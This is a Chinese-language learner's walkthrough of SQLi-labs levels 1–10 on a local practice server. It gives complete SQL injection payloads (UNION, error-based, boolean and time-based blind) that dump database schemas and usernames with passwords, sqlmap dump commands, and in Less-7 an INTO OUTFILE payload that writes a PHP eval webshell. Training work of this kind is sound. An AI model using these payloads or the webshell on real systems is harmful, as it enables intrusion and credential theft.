前言:
此文用于記錄學(xué)習(xí)SQL注入過程中的所得所思,因為可以說是菜鳥了,需要參考大佬的解題方法,所以一切慢慢來吧,希望越來越強。
做題過程中的各種知識
- 在mysql數(shù)據(jù)庫中,單行注釋有
#和--,在實際操作中#號一般用%23來表示。而--則用--+來表示。因為在URL中,如果在最后加上--,瀏覽器在發(fā)送請求的時候會把URL末尾的空格舍去,而用--+代替--,原因是+在URL被URL編碼后會變成空格。 - 與數(shù)據(jù)庫相關(guān)的內(nèi)容:
- information_schema,系統(tǒng)數(shù)據(jù)庫,包含所有數(shù)據(jù)庫相關(guān)信息。
- information_schema.schemata中schema_name列,字段為所有數(shù)據(jù)庫名稱。
- information_schema.tables中table_name列對應(yīng)數(shù)據(jù)庫所有表名,其中table_schema列是所有數(shù)據(jù)庫名。
- information_schema.columns中,column_name列對應(yīng)所有列名,其中table_schema列也對應(yīng)所有數(shù)據(jù)庫名,table_name列也對應(yīng)所有表名。
- 聯(lián)合查詢時需要將前面的查詢結(jié)果限定為空集,后面的查詢結(jié)果才能顯示出來。
- concat(),concat_ws()與及group_concat()的用法
- 其他相關(guān)知識點在文末附有相應(yīng)鏈接,就不在這贅述了。
Less-1
手工UNION聯(lián)合查詢注入
- 根據(jù)題目提示,輸入
http://localhost:8088/sqlilabs/Less-1/?id=1顯示正常。
- 加個單引號看看,
http://localhost:8088/sqlilabs/Less-1/?id=1'顯示語句出錯。
- 通過
http://localhost:8088/sqlilabs/Less-1/?id=1' %23或http://localhost:8088/sqlilabs/Less-1/?id=1'--+或http://localhost:8088/sqlilabs/Less-1/?id=1' and '1'='1可知,是單引號字符型注入。
- 下面開始構(gòu)造語句,首先先了解相關(guān)的數(shù)據(jù)庫內(nèi)容:
- information_schema,系統(tǒng)數(shù)據(jù)庫,包含所有數(shù)據(jù)庫相關(guān)信息。
-
information_schema.schemata中schema_name列,字段為所有數(shù)據(jù)庫名稱。
SCHEMATA -
information_schema.tables中table_name列對應(yīng)數(shù)據(jù)庫所有表名,其中table_schema列是所有數(shù)據(jù)庫名。
TABLES -
information_schema.columns中,column_name列對應(yīng)所有列名,其中table_schema列也對應(yīng)所有數(shù)據(jù)庫名,table_name列也對應(yīng)所有表名。
COLUMNS
- 使用order by查列數(shù),order by語法為:ORDER BY column1 [ASC|DESC], column2 [ASC|DESC],... 此處以數(shù)字1,2,3...指定以某一列為key進(jìn)行排序,通過嘗試得出列數(shù),得出列數(shù)為3。
- order by 3時,
http://localhost:8088/sqlilabs/Less-1/?id=1' order by 3 --+,正常:
- order by 4時,
http://localhost:8088/sqlilabs/Less-1/?id=1' order by 4 --+,出錯:
- 接著進(jìn)行聯(lián)合注入,通過回顯爆出表名,列名,字段,用戶名和密碼。
- 爆數(shù)據(jù)庫名:
http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
- 爆當(dāng)前security數(shù)據(jù)庫的表:
http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
- 爆user表的列:
http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
- 爆所有用戶名和密碼:
http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(concat_ws(':',username,password)),3 from users --+
- 或這樣構(gòu)造:
http://localhost:8088/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
使用sqlmap工具進(jìn)行注入
各個參數(shù)就不一一說明了,請參考這篇文章:11種常見SQLMAP使用方法詳解
-
首先,直接指定相關(guān)參數(shù),如注入類型,數(shù)據(jù)庫類型等:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql --batch得到相關(guān)信息。
-
開始注入,爆出數(shù)據(jù)庫名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql --batch --dbs
-
爆出
security中所有表名:python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql -D security --tables --batch
-
爆出
users表中的所有字段:python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch
-
爆出用戶信息:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch
Less-2
- 首先
http://localhost:8088/sqlilabs/Less-2/?id=1,正常。 - 加單引號
http://localhost:8088/sqlilabs/Less-2/?id=1'出錯提示為:
可知單引號影響了閉合,為數(shù)字型注入。 - 也就是不添加單引號,也不需要注釋了,直接在后面添加語句,進(jìn)行聯(lián)合查詢,構(gòu)造的語句均和Less-1一樣。
Less-3
- 加單引號
http://localhost:8088/sqlilabs/Less-3/?id=1'出錯:
- 由錯誤提示可知后臺查詢語句應(yīng)為
select * from * where id = ('$id') LIMIT 0,1 - 構(gòu)造
http://localhost:8088/sqlilabs/Less-3/?id=1') --+進(jìn)行測試。訪問正常,猜測正確。 - 接下來的語句構(gòu)造同上。
Less-4
- 加單引號
http://localhost:8088/sqlilabs/Less-4/?id=1',正常。 - 考慮到語句中可能為雙引號,加雙引號試試
http://localhost:8088/sqlilabs/Less-4/?id=1", 報錯:use near '"1"") LIMIT 0,1' at line, 可知查詢語句應(yīng)該為select * from * where id = ("$id") LIMIT 0,1 - 如上,構(gòu)造語句為
http://localhost:8088/sqlilabs/Less-4/?id=1") --+, 訪問正常,接下來的構(gòu)造如上。
Less-5
- 加單引號
http://localhost:8088/sqlilabs/Less-5/?id=1',錯誤use near ''1'' LIMIT 0,1' at line 1,知閉合為單引號。 - 輸入
http://localhost:8088/sqlilabs/Less-5/?id=1'--+,顯示依然如下:
- 頁面出現(xiàn)SQL語句報錯,在這可以使用:報錯型盲注。構(gòu)造原理與方法請參考這篇文章:詳細(xì)講解雙查詢注入
還可用布爾型盲注、時間延遲型盲注等,它們都屬于盲注,以后再嘗試。 - 構(gòu)造如下語句:
http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+
- 提示輸出信息超過一行,說明這里數(shù)據(jù)庫名組成的字符串長度超過了64位(
group_concat()函數(shù)最大長度為64位),所以需要放棄group_concat()函數(shù),而使用limit 0,1來一個個輸出。 -
limit 0,1表示輸出第一個數(shù)據(jù)。 0表示輸出的起始位置,1表示跨度為1(即輸出幾個數(shù)據(jù),1表示輸出一個,2就表示輸出兩個)
- 更改語句為:
http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+得到第一個數(shù)據(jù)庫的名字為information_schema
注意: 0是拼接上去的,這個0由rand()函數(shù)產(chǎn)生,是floor報錯語句中輸出的一部分。
- 為了方便查看,稍微改動語句:
http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a)--+如下:
-
繼續(xù)爆其他數(shù)據(jù)庫名,改變
limit n,1即可:http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 1,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+
當(dāng)顯示下面的情況時,說明已經(jīng)爆完。
-
爆
security數(shù)據(jù)庫中的表:
構(gòu)造:http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*2)) as x from information_schema.tables group by x) as a) --+還是更換limit n,1一個一個爆出。
下面說明已經(jīng)爆完,同上。
-
爆
users表的列名:http://localhost:8088/sqlilabs/Less-5/?id=2' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+
-
爆
users表中的內(nèi)容:
用戶名和密碼為,同樣,limit n,1慢慢來吧:http://localhost:8088/sqlilabs/Less-5/?id=2' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)--+
太多了,就不一一列舉了。
Less-6
-
加單引號,正常,加雙引號,報錯如下:
- 可知為閉合雙引號出錯,構(gòu)造方法同上,這里嘗試使用布爾型盲注:
- 先看數(shù)據(jù)庫的版本,
http://localhost:8088/sqlilabs/Less-6/?id=1" and 1=(if(substr(version(),1,1)=5,1,0))--+顯示正常,說明數(shù)據(jù)庫版面為5,就可以利用那個默認(rèn)庫information_schema了。 - 猜測數(shù)據(jù)庫名,使用二分法。
- 構(gòu)造
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'a'--沒報錯,說明數(shù)據(jù)庫名第一個大于a。 - 接著,構(gòu)造為:
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'m'--+還是正常的,繼續(xù)。 - 選取
z,http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'z'--+出錯,無顯示。
- 所有考慮
t,也就是m和z的中間那個。http://localhost:8088/sqlilabs/Less-6/?id=1" and substr(database(),1,1)>'t'--+依然出錯。 - 就這樣,一步一步試出第一個字母,得出為
s。
- 下一步,判斷其長度:還是二分法,慢慢試,由
http://localhost:8088/sqlilabs/Less-6/?id=1" and length(database())=8--+訪問正常知共有8個字母。然后如上一個一個試,通過substr(database(),n,1)。其實得出前面幾個便可猜出為何單詞,這里即為security。 - 下面是猜表名:
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u' --+
- 這里工作量更大了,因為security中有四張表,每張都有id屬性,下面設(shè)為
limit 3,1,猜測表users的第一個字母u時才不會出錯(還有第三張表uagents即limit 2,1時猜測時也不會出錯,所以得試好多次) - 當(dāng)然,一般我們需要的應(yīng)該都是users表,所以也可以直接嘗試
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,5)='users' --+
- 接著是列:構(gòu)造類似,不一一說明:
- 第一個屬性為
id,已知 - 第二個
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,8)='username' --+為username - 第三個為:
http://localhost:8088/sqlilabs/Less-6/?id=1" and substr((select column_name from information_schema.columns where table_name='users' limit 2,1),1,8)='password' --+為password
- 最后是內(nèi)容:這就更復(fù)雜了,因為每個字母都需要猜,實際工作量是非常大的,由于目前水平有限,語句的構(gòu)造和注入方法都是比較愚笨的,還不知道其他更好的方法,所以就先到這里了。
Less-7
- 加單引號出現(xiàn)錯誤, 可以猜測 id 是一個單引號包裹的字符類型。但這樣
http://localhost:8088/sqlilabs/Less-7/?id=1' --+卻是錯的,所以考慮到可能有),于是http://localhost:8088/sqlilabs/Less-7/?id=1') --+還是錯的,差點放棄了,最后得出http://localhost:8088/sqlilabs/Less-7/?id=1')) --+是正確的,所以可以這樣構(gòu)造攻擊語句')) 攻擊代碼--+ - 通過group by 得知有三列。
- 由于本關(guān)卡提示使用file權(quán)限向服務(wù)器寫入文件,先查看是否有寫入權(quán)限。
http://localhost:8088/sqlilabs/Less-7/?id=1')) and (select count(*) from mysql.user)>0--+返回正常,說明有寫入權(quán)限。 - 試寫入一個文件試試:
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,3 into outfile "F:\\tool\\phpstudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\try.php"--+成功。
注:有可能遇到遇到secure-file-priv問題 ,自己設(shè)置一下就好了。
- 現(xiàn)在寫入webshell,
http://localhost:8088/sqlilabs/Less-7/?id=-1')) union select 1,2,"<?php @eval($_POST['sql']);?>" into outfile "F:\\tool\\phpstudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\try1.php"--+
-
使用菜刀連接下:成功
Less-8
- 加單引號,出錯,加注釋
http://localhost:8088/sqlilabs/Less-8/?id=1' --+正常。可知為單引號閉合。 - 接下來和
Less-5差不多,就是不能基于報錯型盲注。因為沒有回顯內(nèi)容,所以只能用布爾型盲注和時間延遲型盲注。 - 這里有個問題,其實在
Less-1時就有疑問了,但Less-1有回顯報錯,所以不在意,到這就又有疑問了,就是當(dāng)加雙引號和注釋http://localhost:8088/sqlilabs/Less-8/?id=1" --+和“雙引號不加注釋”時http://localhost:8088/sqlilabs/Less-8/?id=1",也是正確的,很奇怪。后來在命令行中嘗試了select * from users where id='1"' limit 0,1;發(fā)現(xiàn)是可以通過的,又嘗試了幾個情況。
通過上面的嘗試發(fā)現(xiàn),加雙引號時,加不加注釋其實都一樣,因為MySQL把一個雙引號當(dāng)成兩個單引號了,注釋在引號中根本不起作用了,所以才會出現(xiàn)返回正常的情況。
- 和之前所說的一樣,使用布爾型盲注和時間延遲型盲注是比較繁瑣的,所以直接使用sqlmap進(jìn)行注入:
(1)布爾型盲注
- 爆數(shù)據(jù)庫名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql --dbs --batch --threads 10 - 爆表名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security --tables --batch --threads 10 - 爆列名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security -T users --column --batch --threads 10 - 爆內(nèi)容:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql -D security -T users -C username,password --dump --batch --threads 10
(2)時間延遲型盲注(真難等) - 爆數(shù)據(jù)庫名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql --dbs --batch - 爆表名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql -D security --tables --batch - 爆列名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql -D security -T users --column --batch - 爆內(nèi)容:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique T --dbms mysql -D security -T users -C username,password --dump --batch
Less-9
- 嘗試使用單引號和雙引號閉合(沒有注釋
--+),發(fā)現(xiàn)頁面回顯一直正常,好迷。網(wǎng)上說把單雙引號給退意了,不懂。 - 根據(jù)提示,為單引號時間延遲型盲注。
- 但感覺好像加什么都顯示正常,不管了,直接用sqlmap跑吧。
- 爆數(shù)據(jù)庫名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql --dbs --batch - 爆表名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql -D security --tables --batch - 爆列名:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql -D security -T users --column --batch - 爆內(nèi)容:
python2 sqlmap.py -u http://localhost:8088/sqlilabs/Less-9/?id=1 --technique T --dbms mysql -D security -T users -C username,password --dump --batch
Less-10
- 和Less-9一樣,感覺輸入什么都沒有反應(yīng)。
- 根據(jù)提示,為雙引號時間延遲型盲注。
- 也是用sqlmap跑,就不多說了。














































